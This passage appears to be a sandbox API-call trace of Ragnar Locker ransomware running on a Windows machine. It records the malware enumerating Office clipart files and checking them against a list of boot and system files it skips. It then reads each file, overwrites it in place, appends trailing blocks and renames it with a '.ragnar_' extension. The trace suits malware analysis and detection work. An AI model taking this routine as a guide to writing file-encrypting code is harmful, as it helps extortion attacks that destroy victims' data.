dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.160] GetProcessHeap () returned 0x580000 [0086.160] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.160] CloseHandle (hObject=0xf4) returned 1 [0086.160] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" [0086.160] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.ragnar_FD7BD9FC" [0086.160] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.161] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216570.WMF", cAlternateFileName="")) returned 1 [0086.161] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.161] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0216570.WMF" | out: lpString1="J0216570.WMF") returned="J0216570.WMF" [0086.161] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned=".WMF" [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="autorun.inf") returned 1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="boot.ini") returned 1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="bootfont.bin") returned 1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="bootsect.bak") returned 1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="bootmgr") returned 1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="bootmgr.efi") returned 1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="bootmgfw.efi") returned 1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="desktop.ini") returned 1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="iconcache.db") returned 1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="ntldr") returned -1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="ntuser.dat") returned -1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="ntuser.dat.log") returned -1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="ntuser.ini") returned -1 [0086.161] lstrcmpiW (lpString1="J0216570.WMF", lpString2="thumbs.db") returned -1 [0086.161] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.161] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.161] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.161] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.161] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.162] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.162] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf")) returned 0x20 [0086.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.162] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24796) returned 1 [0086.162] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x60d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.162] GetProcessHeap () returned 0x580000 [0086.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.162] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.164] VirtualAlloc (lpAddress=0x0, dwSize=0x60dc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.164] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.164] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.164] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x60dc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x60dc, lpOverlapped=0x0) returned 1 [0086.165] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.165] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x60dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.165] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x60dc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x60dc, lpOverlapped=0x0) returned 1 [0086.166] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x60dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.166] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.166] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x60dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.166] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.166] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.166] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.166] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.166] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.166] GetProcessHeap () returned 0x580000 [0086.166] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.166] CloseHandle (hObject=0xf4) returned 1 [0086.166] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" [0086.166] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.ragnar_FD7BD9FC" [0086.166] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.167] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1 [0086.167] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.167] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0216600.WMF" | out: lpString1="J0216600.WMF") returned="J0216600.WMF" [0086.167] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned=".WMF" [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="autorun.inf") returned 1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="boot.ini") returned 1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="bootfont.bin") returned 1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="bootsect.bak") returned 1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="bootmgr") returned 1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="bootmgr.efi") returned 1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="bootmgfw.efi") returned 1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="desktop.ini") returned 1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="iconcache.db") returned 1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="ntldr") returned -1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="ntuser.dat") returned -1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="ntuser.dat.log") returned -1 [0086.167] lstrcmpiW (lpString1="J0216600.WMF", lpString2="ntuser.ini") returned -1 [0086.168] lstrcmpiW (lpString1="J0216600.WMF", lpString2="thumbs.db") returned -1 [0086.168] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.168] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.168] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.168] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.168] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.168] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.168] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf")) returned 0x20 [0086.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.168] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8006) returned 1 [0086.168] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.168] GetProcessHeap () returned 0x580000 [0086.168] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.168] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.170] VirtualAlloc (lpAddress=0x0, dwSize=0x1f46, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.170] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.170] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.170] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f46, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f46, lpOverlapped=0x0) returned 1 [0086.171] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.171] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f46, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.171] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f46, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f46, lpOverlapped=0x0) returned 1 [0086.171] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f46, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.171] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.171] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.171] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.171] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.172] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.172] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.172] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.172] GetProcessHeap () returned 0x580000 [0086.172] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.172] CloseHandle (hObject=0xf4) returned 1 [0086.172] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" [0086.172] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.ragnar_FD7BD9FC" [0086.172] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.173] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1 [0086.173] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.173] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0216612.WMF" | out: lpString1="J0216612.WMF") returned="J0216612.WMF" [0086.173] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF") returned=".WMF" [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="autorun.inf") returned 1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="boot.ini") returned 1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="bootfont.bin") returned 1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="bootsect.bak") returned 1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="bootmgr") returned 1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="bootmgr.efi") returned 1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="bootmgfw.efi") returned 1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="desktop.ini") returned 1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="iconcache.db") returned 1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="ntldr") returned -1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="ntuser.dat") returned -1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="ntuser.dat.log") returned -1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="ntuser.ini") returned -1 [0086.173] lstrcmpiW (lpString1="J0216612.WMF", lpString2="thumbs.db") returned -1 [0086.173] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.173] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.173] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.173] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.173] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.173] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.173] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf")) returned 0x20 [0086.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.174] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9442) returned 1 [0086.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x24d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.174] GetProcessHeap () returned 0x580000 [0086.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.174] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.176] VirtualAlloc (lpAddress=0x0, dwSize=0x24e2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.176] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.176] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.176] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x24e2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x24e2, lpOverlapped=0x0) returned 1 [0086.177] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.177] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24e2, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.177] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x24e2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x24e2, lpOverlapped=0x0) returned 1 [0086.177] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24e2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.177] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.178] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x24e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.178] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.178] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.178] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.178] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.178] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.178] GetProcessHeap () returned 0x580000 [0086.178] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.178] CloseHandle (hObject=0xf4) returned 1 [0086.178] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" [0086.178] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft 